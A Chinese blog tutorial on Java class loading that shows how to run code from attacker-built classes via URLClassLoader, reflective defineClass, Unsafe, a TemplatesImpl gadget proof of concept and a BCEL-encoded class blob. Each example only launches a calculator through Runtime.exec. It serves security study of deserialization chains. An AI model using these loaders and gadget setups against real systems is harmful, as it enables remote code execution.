首页 > 编程语言 >Java类加载机制

Java类加载机制

时间:2023-06-06 20:34:12浏览次数:54  
标签:java URLClassLoader public Java import 机制 class 加载

<1>Javac原理

javac是用于将源码文件.java编译成对应的字节码文件.class。
其步骤是:源码——>词法分析器组件(生成token流)——>语法分析器组件(语法树)——>语义分析器组件(注解语法树)——>代码生成器组件(字节码)

<2>类加载过程

先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行

public class test05 {
    public static void main(String[] args) {
        A a = new A();
        System.out.println(a.m);
        /*
        * 1. 加载到内存,会产生一个类对应Class对象
        * 2. 链接,链接结束后m=0
        * 3. 初始化
        *       <clinit>(){
        *           System.out.println("A类静态代码块初始化");
        *            m = 300;
        *            m = 100
        *        }
        *        所以 m=100
        */
    }
}
class A{
	{
        System.out.println("Empty block initial");
    }
    static {
        System.out.println("A类静态代码块初始化");
        m = 300;
    }
    static int m = 100;
    public A(){
        System.out.println("A类的无参构造初始化");
    }
输出:
    A类静态代码块初始化
	Empty block initial
	A类的无参构造初始化

首先调用的是 static{} 其次是 {} 然后是 无参构造 有参构造

其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯,

但在当前构造函数内容的前⾯

<3> 动态加载字节码

(1)字节码的概念

严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中

而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下

(2)类加载器的原理

从前面提到的代码块的加载顺序我们得知:在 loadClass() 方法被调用的时候,是不进行类的初始化的

双亲委派机制类加载访问流程:

ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()

load_class

ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader

loadClass() -> findClass(重写的方法) -> defineClass(从字节码加载类)

URLClassLoader 任意类加载:file/http/jar

ClassLoader.defineClass 字节码加载任意类

UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成

下面演示:

(3)URLClassLoader类加载class文件 ★

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件

②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件

③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

URLClassLoader:输入一个URL,从URL内加载一个类出来

例一:

  1. 构造一个恶意类
package load_class;

import java.io.IOException;

public class URLClassLoader_evilHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

javac URLClassLoader_evilHello.java 生成.class文件
编译动态加载类

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoader_load_class {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        // URLClassLoader:输入一个URL,从URL内加载一个类出来
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\")});

        Class<?> c = urlClassLoader.loadClass("URLClassLoader_evilHello");
        c.newInstance();
        //c.getDeclaredConstructor().newInstance();
    }
}

java的类加载机制,可以让类初始化时,会执行static静态区里的代码,这里我们通过URLClassLoader类加载了URLClassLoader_evilHello.class 文件,加载了恶意类。赋值给 Class c,然后我们 c.newInstance();实例化,初始化会执行static静态区里的代码,弹出来了计算器。

例二:

再构造一个恶意 Test类:

import java.io.IOException;

public class Test {
    public Test() {
    }

    public static void rce(String var0) throws IOException {
        Runtime.getRuntime().exec(var0);
    }
}

利用URLClassLoader动态加载恶意类,再利用反射调用里面的rce方法

import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class loadclass {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, MalformedURLException {
        // 从url指定的目录下加载.class文件
        /*
        *     使用默认委托父类加载器为指定的URL构造一个新的URLClassLoader。 在父类加载器中首次搜索后,
        * 将按照为类和资源指定的顺序搜索 URL。 任何以“/”结尾的 URL 都被假定为指向一个目录。 否则,该 URL
        * 被假定为引用一个 JAR 文件,该文件将根据需要下载和打开。
        * 因此您有两个选择:
        *       Refer to the directory that the .class file is in
        *       Put the .class file into a JAR and refer to that
        * */
        URL url = new URL("file:D:\\Java-IDEA\\java_workspace\\zhujie\\src\\");
        // 创建URLClassLoader加载本地.class文件
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        //rce命令弹出计算器
        String cmd = "calc";
        // 通过URLClassLoader加载.class中的Test类
        Class aClass = urlClassLoader.loadClass("Test");
        // invoke调用Test类中的rce方法
        aClass.getMethod("rce", String.class).invoke(null, cmd);
    }
}

(4)defineClass方法加载字节码 ★

defineClass是一个protected类型,所以只能通过反射调用,字节码任意加载类

构造恶意类:Hello.java

import java.io.IOException;

public class Hello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

javac Hello.java 生成.class字节文件

利用ClassLoader类的 defineClass方法 自定义读取Hello.class,构建恶意Hello类:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class defineClass_loadclass {
    public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
        ClassLoader cl = ClassLoader.getSystemClassLoader();

        //通过类加载器的 Class对象 反射调用getDeclaredMethod()方法,获取类加载器Class对象里的  defineClass方法 自定义恶意类
        Method defineClassMethod =  ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));


        Class c = (Class) defineClassMethod.invoke(cl,"Hello",code,0,code.length);
        /*实际上 方法.invoke激活,返回的类型是根据这个方法返回值决定的。又因为defineClass方法可以返回Class对象,
        * 因次这里可以通过强制类型转化 拿到一个从.class里得到的恶意Hello类   然后通过Class c = (Class)赋值给c
        * 大多数方法是void类型的,返回null  因此 方法.invoke默认会是object类型(测试 null好像是object)
        * */

        System.out.println(c);
        c.newInstance();

    }
}

弹出来了计算器

在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到

(5)Unsafe类 加载字节码

package load_class;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class unsafe_defineclass {
    public static void main(String[] args) throws InstantiationException, IllegalAccessException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        Class<Unsafe> unsafeClass = Unsafe.class;
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
        Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\zhujie\\src\\load_class\\Hello.class"));
        Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Hello", code, 0, code.length, classLoader, null);

        calc.newInstance();
    }
}

(6)TemplatesImpl 加载字节码 ★

TemplatesImpl类中
可以看到存在一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法

简单来说,这里的 defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。

调用链为:

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

我们先构造一个恶意的 执行代码的类

因为链子里想走通,需要满足这个类需要继承 AbstractTranslet 所以需要重写 AbstractTranslet的方法

为什么需要继承,后面CC链里会详细分析

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class templatesImpl_evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

poc如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplateRce {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\lenovo\\Desktop\\templatesImpl_evil.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "Calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        ((Field) field).set(obj, value);
    }
}

(7)BCEL ClassLoader 加载字节码

BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。

我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:

  • Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码
  • Utility 用于将原生的字节码转换成BCEL格式的字节码:
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.io.IOException;

public class BCELClassLoaderRCE {
    public static void main(String[] args) throws ClassNotFoundException, IOException {
        Class<?> cls = Class.forName("org.example.evil");
        JavaClass javaClass = Repository.lookupClass(cls);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
    }
}

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
注:这里ClassLoader包不要导入错了 应为 com.sun.org.apache.bcel.internal.util.ClassLoader

package org.example;

import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class BCELClassLoaderRCE {
    public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException {
        Class<?> cls = new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMo$da$40$Q$7d$L$Ecc$C$n$F$f2$d1$7c$d06$J$f4P$lz$E$f5R5R$U$t$a9BD$d5$e3$b2$dd$9aM$8d$8d$8c$a1$fc$a3$9e$b9$b4U$x5$f7$fc$a8$aa$b3$$$o$u$89$r$cf$ec$bc$f7$e6$cdx$7d$fb$f7$d7$l$A$af$d1$b0$60b$c3$c2$s$b6r$d8$d6$f9$a9$81$j$D$bb$W$b2$d83$b0o$a0$ce$90m$ab$40$c5o$Y$d2$8df$97$n$f36$fc$q$Z$8a$ae$K$e4$f9x$d0$93$d1$V$ef$f9$84$94$ddPp$bf$cb$p$a5$eb9$98$89$fbj$94p$91$e7$c8$v$l$M$7d$e9$c8$89$f2$5b$M$b9$b6$f0$e7$d6$8c$a4$V$f7$9aO$b8$a3B$e7$e4$e2$ddT$c8a$ac$c2$80d$85N$cc$c5$973$3eL$yiA$G$ab$T$8e$p$n$8f$95$kaj$bbW$ba$d7$86$85$bc$81g6$9e$e3$F$cd$a6u$84$8d$D$i2$ac$3f$e2$cd$b0$95$a0$3e$P$3c$e7r$i$c4j$m$X$a4$f6$3ab$u$dd$df$9b$a0$bb$a6$8b$de$b5$U1$c3$da$D$l$da$d1$93$f1$a2$a84$9a$ee$D$N$7d$5bFN$a5$608j$y$b1$9d8R$81$d7Znx$l$85B$8eF$d4$b0$b1$ac$bc$eaG$e1W$7d$v$adf$Xu$e4$e8o$ea$t$F$a6$_$82$a2M$95C$99Q$5ey$f9$Dl$96$d0$F$8a$d9$ff$mV$v$da$f3s$R$r$ca9$ac$z$9a$3f$p$9dp$b5$9fH$95$d3$df$91$f9$f0$N$85$d3$df$c8$7e$q7$e3f$96$90$sIWH$a8m$abtB$b2I$9eP$930$8b0$7b1$a6$40X$Z$ebT$3d$a1$d7$40$ca5P1$89$a8$s$9b$d5$fe$By$9aqE$9c$C$A$A");
        cls.newInstance();
        /*
        Class<?> cls = Class.forName("org.example.evil");
        JavaClass javaClass = Repository.lookupClass(cls);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        */
    }
}

那么为什么要在前面加上 $$BCEL$$ 呢

BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。

在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode

这么多种姿势,实际上都是为了去加载那个 .class文件 也就是字节码文件 从而利用。

参考:https://drun1baby.top/2022/06/03/Java反序列化基础篇-05-类的动态加载/#7-利用-BCEL-ClassLoader-加载字节码

标签:java,URLClassLoader,public,Java,import,机制,class,加载
From: https://www.cnblogs.com/1vxyz/p/17245206.html

相关文章

  • java8函数式编程
    1.什么是函数式编程每个人对函数式编程的理解不尽相同。但其核心是:在思考问题时,使用不可变值和函数,函数对一个值进行处理,映射成另一个值。2.Lambda表达式Stream<String>stream=Stream.of("张三","李四");2.1collect(toList())List<String>names=stream.collect(Colle......
  • 明明加载好了css,js文件,页面的样式还是不对的解决办法
    页面内容的格式乱七八糟的…用F12开发人员工具检查了一下,没有发现任何问题最后,求助了bobby老师答曰:你缺乏前端知识,浏览器中有缓存,ctrl+f5强制刷新一下就好了恩,好了…......
  • HttpURLConnection调用webservice,c#、java、python等HTTP调用webservice,简单的webserv
    以前调用webservice一般使用axis、axis2先生成java类后,直接引用,多方便。但是有的webservice接口非常的函数,生成的java类非常多,有没有一种非常简化的方法。axis2有不生成类直接调用的方法,但是QName不容易找,每次查N久不到。有的反馈,使用CXF调用一样方便,但CXF还要使用maven下载jar,而......
  • Java中输入字符串的方法
     Scannerinput=newscanner();Stringcode=input.next();错误写法://Stringcode=input.toString(); 1、输入字符串遇到空格或者换行结束Scannersc=newScanner(System.in);Stringstr=newString();str=sc.next();2、输入一行字符串,可以包括空格Scannersc=ne......
  • 第一章 JavaEE应用和开发环境
    1.1javaEE应用概述1、javaEE的分层模型数据库--【提供持久化服务】--》DomainObject层--【封装】--〉DAO层--【提供数据访问服务】--》业务逻辑层--【提供业务逻辑实现】--〉MVC的控制器层--【显示】--》前端优点:松耦合2、JavaEE应用的组件1)前端组件:主要负责收集用户......
  • 记录--你真的能区分JavaScript的各种导入导出方式吗?
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助前言......
  • Java8 时间日期库的使用方法
    1、Java8新的时间日期库的20个使用示例http://ifeve.com/20-examples-of-date-and-time-api-from-java8/2、Java8日期/时间(DateTime)API指南http://www.importnew.com/14140.html3、JAVA8:健壮、易用的时间/日期APIhttp://www.importnew.com/14857.html......
  • Java8 Lambda 表达式的使用
    1、Java8教程汇总https://wizardforcel.gitbooks.io/java8-tutorials/content/2、Java8lambda表达式10个示例http://www.importnew.com/16436.html3、深入浅出Java8Lambda表达式http://blog.oneapm.com/apm-tech/226.html......
  • Java 匿名内部类调用局部变量
    Java8之前,匿名内部类中使用局部变量,需要强制使用final修饰Java8开始匿名内部类使用的外部变量不再被强制用final修饰。外部变量要么是final的;要么自初始化后值不会被改变这两种都是可以在匿名内部类中使用且编译通过。但是java8只是对‘事实上final’变量可以不声明final标......
  • Java 静态构造块异常抛出处理方法
    static{try{privateObjectobj=newObject();}catch(Exceptione){log.error(e);}}静态构造块中的异常不要抛出,否则会造成类初始化异常!......